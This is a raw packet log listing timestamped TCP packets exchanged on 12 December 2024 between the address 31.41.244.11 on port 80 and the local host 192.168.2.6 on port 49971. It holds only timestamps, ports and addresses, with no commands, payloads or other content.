Dec 12, 2024 21:50:51.095154047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.095202923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.096225977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.096278906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.096333027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.096378088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.097302914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.097351074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.097425938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.097491980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.098505020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.098553896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.098599911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.098645926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.099680901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.099730015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.099848986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.099895000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.100779057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.100828886 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.100882053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.100928068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.101924896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.101999044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.102204084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.102251053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.103070021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.103120089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.103195906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.103245974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.104320049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.104368925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.104373932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.104417086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.105408907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.105464935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.105531931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.105578899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.106547117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.106595039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.106671095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.106719017 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.107702017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.107752085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.107793093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.107837915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.108861923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.108916998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.109019041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.109065056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.110338926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.110395908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.110569954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.110622883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.111711979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.111768961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.111804008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.111845970 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.112726927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.112778902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.112835884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.112874985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.113806963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.113897085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.113966942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.114011049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.114974976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.115022898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.115209103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.115251064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.116421938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.116466045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.116545916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.116591930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.117544889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.117579937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.117594004 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.117624044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.118354082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.118400097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.118448973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.118494034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.119431973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.119479895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.119560957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.119607925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.120388985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.120439053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.120441914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.120487928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.121525049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.121575117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.121692896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.121740103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.122745037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.122796059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.122873068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.122916937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.123848915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.123938084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.123944044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.123987913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.124967098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.125020027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.125067949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.125107050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.126176119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.126241922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.126250982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.126297951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.127280951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.127342939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.127520084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.127567053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.128503084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.128560066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.128637075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.128684044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.129591942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.129648924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.130069017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.130120993 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.130665064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.130719900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.130783081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.130836010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.131851912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.131908894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.131916046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.131961107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.133038998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.133090019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.133152962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.133203030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.134147882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.134244919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.134279013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.134324074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.135301113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.135359049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.135447979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.135495901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.136434078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.136488914 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.136565924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.136611938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.269371986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.269437075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.269454002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.269491911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.269809008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.269859076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.269881964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.269917965 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.270981073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.271040916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.271064997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.271099091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.272231102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.272274971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.272521019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.272561073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.272610903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.272644043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.273639917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.273696899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.273755074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.273819923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.274779081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.274833918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.274893045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.274930954 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.275973082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.276026964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.276055098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.276091099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.277074099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.277115107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.277185917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.277223110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.278258085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.278297901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.278356075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.278413057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.279443026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.279495955 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.279618025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.279655933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.280587912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.280638933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.280708075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.280750990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.281714916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.281764030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.281790972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.281825066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.282803059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.282845020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.282972097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.283011913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.284022093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.284090996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.284110069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.284148932 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.285166979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.285204887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.285321951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.285362005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.286437988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.286487103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.286498070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.286545992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.287436962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.287480116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.287597895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.287642956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.288614035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.288660049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.288721085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.288768053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.289752007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.289789915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.289863110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.289917946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.290884972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.290926933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.290966988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.291002035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.292057991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.292109013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.292133093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.292166948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.293272972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.293309927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.293416977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.293454885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.294357061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.294414043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.294451952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.294486046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.295459986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.295501947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.295576096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.295613050 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.296659946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.296706915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.296868086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.296904087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.297828913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.297871113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.297897100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.297930956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.298979998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.299021959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.299087048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.299120903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.300085068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.300127983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.300241947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.300280094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.301222086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.301260948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.301325083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.301359892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.302422047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.302473068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.302501917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.302537918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.303539991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.303580999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.303678036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.303716898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.304682016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.304740906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.304799080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.304832935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.305860996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.305907011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.305933952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.305969954 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.307012081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.307051897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.307110071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.307143927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.308144093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.308190107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.308284044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.308316946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.309281111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.309320927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.309391022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.309429884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.310435057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.310477972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.310518980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.310559034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.311602116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.311644077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.311738014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.311778069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.312716007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.312753916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.312839031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.312875986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.313972950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.314022064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.314033031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.314069033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.315079927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.315149069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.315186977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.315226078 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.316267967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.316313028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.316409111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.316452980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.317379951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.317421913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.317495108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.317533016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.318490028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.318542957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.318572998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.318614006 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.319628000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.319672108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.319756985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.319792986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.320808887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.320847034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.320884943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.320919991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.321934938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.321976900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.322036982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.322071075 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.323118925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.323162079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.323194027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.323229074 CET	49971	80	192.168.2.6	31.41.244.11
